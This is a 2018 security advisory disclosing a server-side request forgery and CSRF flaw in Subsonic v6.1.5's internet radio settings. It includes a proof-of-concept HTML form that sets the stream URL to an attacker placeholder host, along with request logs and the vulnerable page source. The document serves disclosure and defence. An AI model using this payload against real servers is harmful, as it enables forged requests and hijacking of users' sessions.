Lucene search

vulnerlabS.AbenMassaoud [[email protected]] -
HistoryDec 17, 2018 - 12:00 a.m.

Subsonic v6.1.5 - Server Side Request Forgery & CSRF

S.AbenMassaoud [[email protected]] -





Document Title:
Subsonic v6.1.5 - Server Side Request Forgery & CSRF

References (Source):


Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Server Side Request Forgery

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Subsonic is an easy-to-use media streaming service with a user-friendly interface and the ability to share music and video 
with multiple users. It is highly customizable and includes features such as Chromecast support and file conversion.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a server-side request forgery and csrf issue in the official Subsonic v6.1.5 for microsoft windows.

Vulnerability Disclosure Timeline:
2018-12-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Subsonic AS
Product: Subsonic - Media Streaming Service (Web-Application) 6.1.5 (Windows, MacOS, Debian, Ubuntu, Fedora, Synology NAS)

Exploitation Technique:

Severity Level:

Authentication Type:
Pre auth - no privileges

User Interaction:
Medium User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A ssrf vulnerability and csrf issue has been discovered in the official Subsonic v6.1.5 for microsoft windows.
The security vulnerability allows remote attackers to hijack the authentication of users for requests that visites a internet radio.

The vulnerability is located in the `internetRadioSettings.view` module and the `streamUrl` parameter of the localhost path URL. 
Remote attackers are able to conduct server-side request forgery (ssrf) attacks combined with a cross site request forgery issue. 
Both together can allow a remote attacker to hijack the authentication for stream of internet radios.

The security risk of the ssrf web vulnerability and cross site request forgery issue is estimated as medium with a cvss count of 4.1.
Exploitation of the ssrf and csrf vulnerability requires a low privilege web-application user account and low or medium user interaction. 

Request Method(s):
[+] POST

Vulnerable Parameter:
[+] streamUrl

Vulnerable Module(s):
[+] internetRadioSettings.view

Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers a low privilege web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
    <form  id="test" action="http://localhost:4040/internetRadioSettings.view" method="POST">
      <input type="hidden" name="name" value="NAME" />
      <input type="hidden" name="streamUrl" value="http://ATTACKER:8080" />
      <input type="hidden" name="homepageUrl" value="" />
      <input type="hidden" name="enabled" value="on" />

--- PoC Session Logs ---
Host: localhost:4040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ATTACKER:8080/poc.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: keep-alive
Cookie: player-61646d696e=2; JSESSIONID=hy5rv1nhc82c; DWRSESSIONID=8wm6J5vYUR!zJF6xZ9Df9FykouYTtQ!RAum
Upgrade-Insecure-Requests: 1
POST: HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 8354
Server: *****

Then waiting for victim to visit [ Internet radio ] 
Serving HTTP on port 8080 ...
VICTIM - - [**/Dec/2018 **:**:**] "GET / HTTP/1.1" 200 -

Vulnerable Source:
<form method="post" action="internetRadioSettings.view">
<table class="indent">
        <th>Stream URL</th>
        <th style="padding-left:1em">Enabled</th>
        <th style="padding-left:1em">Delete</th>
            <td><input type="text" name="name[3]" size="20" value="NAME"></td>
            <td><input type="text" name="streamUrl[3]" size="40" value="http://ATTACKER:8080"></td>
            <td><input type="text" name="homepageUrl[3]" size="40" value=""></td>
            <td style="padding-left:1em" align="center"><input type="checkbox" checked="" name="enabled[3]" class="checkbox"></td>
            <td style="padding-left:1em" align="center"><input type="checkbox" name="delete[3]" class="checkbox"></td>
            <th colspan="5" style="padding-top:1em" align="left">Add radio station</th>
        <td><input type="text" name="name" size="20" placeholder="Name"></td>
        <td><input type="text" name="streamUrl" size="40" placeholder="Stream URL"></td>
        <td><input type="text" name="homepageUrl" size="40" placeholder="Homepage"></td>
        <td style="padding-left:1em" align="center"><input name="enabled" checked="" type="checkbox" class="checkbox"></td>

        <td style="padding-top:1.5em" colspan="5">
            <input type="submit" value="Save" style="margin-right:0.3em">
            <input type="button" value="Cancel" onclick="location.href='nowPlaying.view'">

Security Risk:
The security risk of the server-side request forgery (ssrf) via cross site request forgery (csrf) in subsonic v6.1.5 product is estimated as medium.

Credits & Authors:
S.AbenMassaoud [[email protected]] -

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.


Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™





Related for VULNERLAB:2175